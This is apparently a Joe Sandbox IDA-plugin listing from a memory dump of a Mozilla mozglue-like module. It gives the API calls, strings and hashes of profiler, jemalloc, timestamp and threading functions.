Part of subcall function 6C35DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
Part of subcall function 6C35DE60: free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
Part of subcall function 6C35DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C35EF1E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF2B
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF59
GetCurrentThreadId.KERNEL32 ref: 6C35EFB0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFBD
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFE1
GetCurrentThreadId.KERNEL32 ref: 6C35EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F000

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F02F

Part of subcall function 6C35F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C35F008
[I %d/%d] profiler_stop, xrefs: 6C35EED7

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction ID: 20c5fef36097ca4f70937f87a1e724fffffd75f1806163750a11b64ce0b54c95
Opcode Fuzzy Hash: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction Fuzzy Hash: 8151D076A043109FDB109F64E408BA937BCEB4A31DF510519F95A87B40FB3B5824CFA2

Function 6C34D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C34D047
GetSystemInfo.KERNEL32(?), ref: 6C34D093
__Init_thread_footer.LIBCMT ref: 6C34D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C34D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C34D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C34D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C34D1B1

Strings

MOZ_CRASH(), xrefs: 6C34D277
MALLOC_OPTIONS, xrefs: 6C34D0CB
<jemalloc>, xrefs: 6C34D268, 6C34D311
Compile-time page size does not divide the runtime one., xrefs: 6C34D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C34D322

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction ID: 2784f795c67a70958ffa08d5af0b81bf71cc1e8b2a4d29ae427bc3545493b5d1
Opcode Fuzzy Hash: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction Fuzzy Hash: 7281BC70B043109BEB149FA8D854BA937FDFB06709F108529E9419BB80F7769805CFD2

Function 6C327FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C328007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C32801D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C32802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C32803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C32808D

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C32809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C3280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C32810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C328133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C328149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C328167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C32817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C328199

Strings

0>5l, xrefs: 6C32811E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>5l
API String ID: 2721933968-430899426
Opcode ID: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction ID: 632fa501fa992bd35ee4d747361480727f0e388893340a48830795dde0783f47
Opcode Fuzzy Hash: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction Fuzzy Hash: 3A5184B2E002545BDF00DFA5EC84AEFB7B9AF49224F140125E955E7781E735E904CFA2

Function 6C325E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

GetCurrentThreadId.KERNEL32 ref: 6C325EAB
GetCurrentThreadId.KERNEL32 ref: 6C325EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C326017

Part of subcall function 6C314310: moz_xmalloc.MOZGLUE(00000010,?,6C3142D2), ref: 6C31436A
Part of subcall function 6C314310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3142D2), ref: 6C314387

moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
GetCurrentProcess.KERNEL32 ref: 6C325F53
GetCurrentThread.KERNEL32 ref: 6C325F5C
GetCurrentProcess.KERNEL32 ref: 6C325F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C32605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C3260CC

Strings

GeckoMain, xrefs: 6C325ECE, 6C326015

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction ID: 8e3fb12b3590b3a7b81c7d2e6bddb9c544e04f362c7eca92d5ac54288ccf857c
Opcode Fuzzy Hash: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction Fuzzy Hash: 7971D2B0A047409FDB10DF25D480AAABBF4FF49308F14492DE5868BB41E775E948CF92

Function 6C329590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C313217
Part of subcall function 6C3131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C313236
Part of subcall function 6C3131C0: FreeLibrary.KERNEL32 ref: 6C31324B
Part of subcall function 6C3131C0: __Init_thread_footer.LIBCMT ref: 6C313260
Part of subcall function 6C3131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C31327F
Part of subcall function 6C3131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31328E
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132AB
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132D1
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3132E5
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
NtMapViewOfSection, xrefs: 6C329701
MapViewOfFileNuma2, xrefs: 6C3297B1
ntdll.dll, xrefs: 6C3296E3

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction ID: 2e71ed0f191dc6f5a963a76b22a13a33a3b7c8fc42476aff6a52804687460dab
Opcode Fuzzy Hash: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction Fuzzy Hash: 7961D171B003019FDF00DFA9E884B9A7BB9EB4E358F108529F95597780E736A854CFA1

Function 6C376660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376694
GetThreadId.KERNEL32(?), ref: 6C3766B1
GetCurrentThreadId.KERNEL32 ref: 6C3766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C3766E1
EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376734
GetCurrentProcess.KERNEL32 ref: 6C37673A
LeaveCriticalSection.KERNEL32(6C39F618), ref: 6C37676C
GetCurrentThread.KERNEL32 ref: 6C3767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C376868
RtlCaptureContext.NTDLL ref: 6C37687F

Strings

WalkStack64, xrefs: 6C376890

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction ID: 14eb8fc9769c68d6111194d0f8c3cec54d35126337cc002224dc1ade1a89a561
Opcode Fuzzy Hash: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction Fuzzy Hash: 4D51CE71A09341AFDB21CF25C844B5EBBF8BF89718F00492DF59897640E7799904CFA6

Function 6C35DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35DE73
GetCurrentThreadId.KERNEL32 ref: 6C35DF7D
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DF8A
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DFC9
GetCurrentThreadId.KERNEL32 ref: 6C35DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C35DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C35E00E
<none>, xrefs: 6C35DFD7

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction ID: 075adabe79c1ef146972afe5628b584678acb5fa5cb59bbd7a2d16aeaaa6b49c
Opcode Fuzzy Hash: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction Fuzzy Hash: 03410676B012109BDB109F64D904BAA7779EF4630CF950015F90A9BB01EB37A825CFE3

Function 6C36D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D52A
GetCurrentThreadId.KERNEL32 ref: 6C36D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D55F
free.MOZGLUE(00000000), ref: 6C36D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C36D5D3
GetCurrentThreadId.KERNEL32 ref: 6C36D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D652
GetCurrentThreadId.KERNEL32 ref: 6C36D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D6A2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction ID: 1e98976db1a112e63b42c70f569cbf834b57bf5f0625f10b5ff0afb7dfb9c4b6
Opcode Fuzzy Hash: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction Fuzzy Hash: D0516D71A04705DFC714DF35C484A9ABBF9FF89318F10862DE99A8BB10EB31A945CB91

Function 6C311E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311EC1
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311EE1
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C311F38
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C311F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C311F83
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FC0
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311FE2
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C312019

Strings

D9l, xrefs: 6C311F32
D9l, xrefs: 6C311F56
MOZ_CRASH(), xrefs: 6C312000
\9l, xrefs: 6C311F3E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D9l$D9l$MOZ_CRASH()$\9l
API String ID: 2055633661-3063569926
Opcode ID: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction ID: 184c304ce7702bb5f470037cfd0562c8bd0dd42d3d6715f77a99dd604aa86ffe
Opcode Fuzzy Hash: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction Fuzzy Hash: 3441F376F053198FDF149F69D884BAA36B9FB59708F040125E9059BB40FB7298048FD2

Function 6C335670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C3356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C3356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C335744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C3357BC
GetTickCount64.KERNEL32 ref: 6C3358CB
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3358F3
__aulldiv.LIBCMT ref: 6C335945
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C39F638,?,?,?,?), ref: 6C3359E9

Strings

MOZ_APP_RESTART, xrefs: 6C3356CC

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction ID: 3710fd7f3bdc30a8239334b4fa32d653fcb7129ccacf01273930f0b9b3fd6243
Opcode Fuzzy Hash: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction Fuzzy Hash: F0C17C31A097909FDB05CF28C44066ABBF5BFDA714F159A1DF8C897660E731A885CF82

Function 6C35EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
